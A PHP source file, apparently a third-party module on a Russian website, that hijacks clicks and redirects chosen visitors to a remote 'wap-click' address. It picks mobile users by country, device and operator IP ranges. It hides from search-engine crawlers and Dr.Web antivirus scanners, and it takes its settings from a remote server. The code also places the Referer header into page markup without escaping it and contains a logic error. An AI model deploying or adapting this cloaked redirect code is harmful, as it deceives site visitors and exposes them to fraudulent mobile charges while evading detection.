Файл: onlinepoisk.wm-scripts.ru/vendor/iruswap/WapClick.php
Строк: 268
<?php
class WapClick{
private static function net_match( $network , $ip ) {
if(strpos($network,'/') === FALSE ){
return $network == $ip;
}
$ip_arr = explode ( '/' , $network );
$network_long = ip2long ( $ip_arr [ 0 ]);
$x = ip2long ( $ip_arr [ 1 ]);
$mask = long2ip ( $x ) == $ip_arr [ 1 ] ? $x : 0xffffffff << ( 32 - $ip_arr [ 1 ]);
$ip_long = ip2long ( $ip );
return ( $ip_long & $mask ) == ( $network_long & $mask );
}
private static function get_user_ip() {
if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR']){
if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'],".")>0 && strpos($_SERVER['HTTP_X_FORWARDED_FOR'],",")>0){
$ip = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']);
$user_ip = trim($ip[0]);
}
elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'],".")>0 && strpos($_SERVER['HTTP_X_FORWARDED_FOR'],",")===false){
$user_ip = trim($_SERVER['HTTP_X_FORWARDED_FOR']);
}
}
if(!isset($user_ip))
$user_ip = $_SERVER['REMOTE_ADDR'];
return $user_ip;
}
private static function is_bot($filter_type){
$bot=0;
if (!$_SERVER['HTTP_USER_AGENT']||$_SERVER['HTTP_USER_AGENT']==' ') { $bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'Yandex') ) { $bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'Google') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'Accoona') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'ia_archiver') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'Jeeves') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'curl') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'EltaIndexer') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'baidu') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'crawler') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'W3C_Validator') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'Wget') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'WebAlta') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'Yahoo') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'Rambler') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'Ask') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'Turtle') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'Nigma') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'Robot') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'proximic') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'bot') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'mail') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'spider') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'Bond') ) {$bot=1;}
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'Mozilla/5.0 (Linux; U; Android 3.1; en-us; GT-P7510 Build/HMJ37) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13') ) {$bot=1;} #Dr.Web
if ( stristr($_SERVER['HTTP_USER_AGENT'], 'Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5') ) {$bot=1;} #Dr.Web
if ($filter_type==1) {if ( stristr($_SERVER['HTTP_USER_AGENT'], 'YaBrowser') ) {$bot=1;}}
return $bot;
}
private static function get_country(){
include_once(__DIR__."/geo/geoip.inc");
$gi = geoip_open(__DIR__."/geo/GeoIP.dat",GEOIP_STANDARD);
return geoip_country_code_by_addr($gi,self::get_user_ip());
}
private static function get_operator(){
$user_ip = self::get_user_ip();
$cont = file_get_contents(AGG_IPLIST_PATH);
$json = json_decode($cont);
foreach ($json as $key => $val) {
foreach ($val as $k => $v) {
if(self::net_match( $v,$user_ip)){
return $key;
}
}
}
return false;
}
private static function file_write($filename, $content) {
if (!is_writable($filename)) {
if (!chmod($filename, 0666)) {
return "Cannot change the mode of file ($filename)";
};
}
if (!$fp = @fopen($filename, "w")) {
return "Cannot open file ($filename)";
}
if (fwrite($fp, $content) === FALSE) {
return "Cannot write to file ($filename)";
}
if (!fclose($fp)) {
return "Cannot close file ($filename)";
}
}
private static function get_configs(){
$context = stream_context_create(array('http'=> array('timeout' => 5) ));
if((!file_exists(AGG_CONFIG_PATH) || @filemtime(AGG_CONFIG_PATH)<(time() - AGG_CONFIG_LIFETIME*60)) && @filemtime(AGG_TIMEOUT_PATH)<(time() - 3*60)){
$new_conf = @file_get_contents(AGG_UPDATE_PATH . '?key=' . AGG_CODE_KEY . '&type=config&host='.$_SERVER['HTTP_HOST'].'&module=php_v2.1', false, $context);
$new_ip_list = @file_get_contents(AGG_UPDATE_PATH . '?key=' . AGG_CODE_KEY . '&type=ip_list&host='.$_SERVER['HTTP_HOST'].'&module=php_v2.1', false, $context);
if($new_ip_list && json_decode($new_ip_list)){
self::file_write(AGG_IPLIST_PATH, $new_ip_list );
}
if($new_conf && json_decode($new_conf)){
self::file_write(AGG_CONFIG_PATH, $new_conf );
return json_decode($new_conf);
}
if($new_conf===false && $new_ip_list===false){
self::file_write(AGG_TIMEOUT_PATH, '');
}
}
return json_decode(file_get_contents(AGG_CONFIG_PATH));
}
private static function get_device(){
$device = new AGG_Mobile_Detect();
return $device;
}
private static function redirect($params, $output = true){
//@setcookie("agg_steep",$params['count'],time()+60*60*24);
//header('Location: http://'.$params['url'].'/?key='.$params['code'] . '&tb=http://'.$_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
$redirect = 'http://'.$params['url'].'/?key='.$params['code'] . '&tb='.rawurlencode('http://'.$_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']).'&referer='.rawurlencode(isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '').'&module=php_v2';
$params['url'] = 'http://'.$params['url'];
$inputs['key'] = $params['code'];
$inputs['tb'] = 'http://'.$_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$inputs['referer'] = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$inputs_text = '';
foreach($inputs as $key=>$val){
$inputs_text .= "<input type='hidden' name='{$key}' value='{$val}'/>";
}
$js_cookie = ' var d = new Date(); d.setTime(d.getTime() + (24*60*60*1000)); var expires = "expires="+d.toUTCString(); document.cookie = "agg_steep='.$params['count'].'; " + expires;';
if(!$params['onclick']){
echo ' <form action="'.$params['url'].'" method="get" name="agg_redirect">'.$inputs_text.'</form><script> document.forms["agg_redirect"].submit(); window.location.replace("'.$redirect.'"); window.location.href = "'.$redirect.'"; </script> ';
}elseif($params['onclick']==1){
$js_test = '';
if(isset($_GET['q']) && $_GET['q']=='test')
{
$js_test = 'alert("No Wap");';
}
$js_nowap = ' if(e){var target = e.target || e.srcElement; if(target.hasAttribute("no_wap")){'.$js_test.'return true;}}';
$result = ' <form action="'.$params['url'].'" method="get" name="agg_redirect">'.$inputs_text.'</form><script> document.onclick = function(e){' . $js_nowap . ' if(e){e.preventDefault();} '. $js_cookie . ' document.forms["agg_redirect"].submit(); window.location.replace("'.$redirect.'"); window.location.href = "'.$redirect.'"} </script> ';
if($output) echo $result;
return $result;
}elseif($params['onclick']==2){
echo ' <form action="'.$params['url'].'" method="get" name="agg_redirect" target="_blank">'.$inputs_text.'</form><script> if(typeof document.ontouchstart =="undefined"){document.ontouchstart = function(){};} document.onclick = document.ontouchstart = function(e){ document.forms["agg_redirect"].submit(); document.onclick = function(e){ return false; } } </script> ';
}elseif($params['onclick']>=3 && $params['redirect_html']){
echo str_replace('[URL]', $redirect, $params['redirect_html']);
}else{
header($redirect);
die();
}
//exit();
}
public static function check($output = true){
$steep = isset($_COOKIE['agg_steep']) && intval($_COOKIE['agg_steep']) ? intval($_COOKIE['agg_steep']) : 0;
$config = self::get_configs();
$country = self::get_country();
$operator = self::get_operator();
$device = self::get_device();
if($operator){
$country = 'RU';
}
if($steep < count((array) $config->steeps) ){
if($country && array_key_exists($country, (array) $config->steeps[$steep]->countries)){
if( $config->steeps[$steep]->countries->{$country}->desktop || ($device->isMobile() && !$device->isTablet() && $config->steeps[$steep]->countries->{$country}->mobile) || ($device->isTablet() && $config->steeps[$steep]->countries->{$country}->tablet) ){
if($config->steeps[$steep]->countries->{$country}->operators=='*' || ($operator && array_key_exists($operator, (array) $config->steeps[$steep]->countries->{$country}->operators)) ){
if($config->steeps[$steep]->countries->{$country}->operators=='*' || $config->steeps[$steep]->countries->{$country}->operators->{$operator}->desktop || ( $device->isMobile() && !$device->isTablet() && $config->steeps[$steep]->countries->{$country}->operators->{$operator}->mobile ) || ( $device->isTablet() && $config->steeps[$steep]->countries->{$country}->operators->{$operator}->tablet ) ){
if(!self::is_bot(intval($config->filter_type))){
return self::redirect(array('count'=>($steep+1), 'url'=>$config->url, 'code'=>AGG_CODE_KEY, 'onclick'=>intval($config->onclick), 'operator'=>$operator, 'country'=>$country, 'redirect_html'=>($country = 'RU' ? $config->steeps[$steep]->countries->{$country}->operators->{$operator}->redirect_html : '')));
}
}
}
}
}
}
if(isset($_GET['q']) && $_GET['q']=='test')
{
return self::redirect(array('count'=>($steep+1), 'url'=>$config->url, 'code'=>AGG_CODE_KEY, 'onclick'=>intval($config->onclick), 'operator'=>$operator, 'country'=>$country, 'redirect_html'=>''));
}
return false;
}
}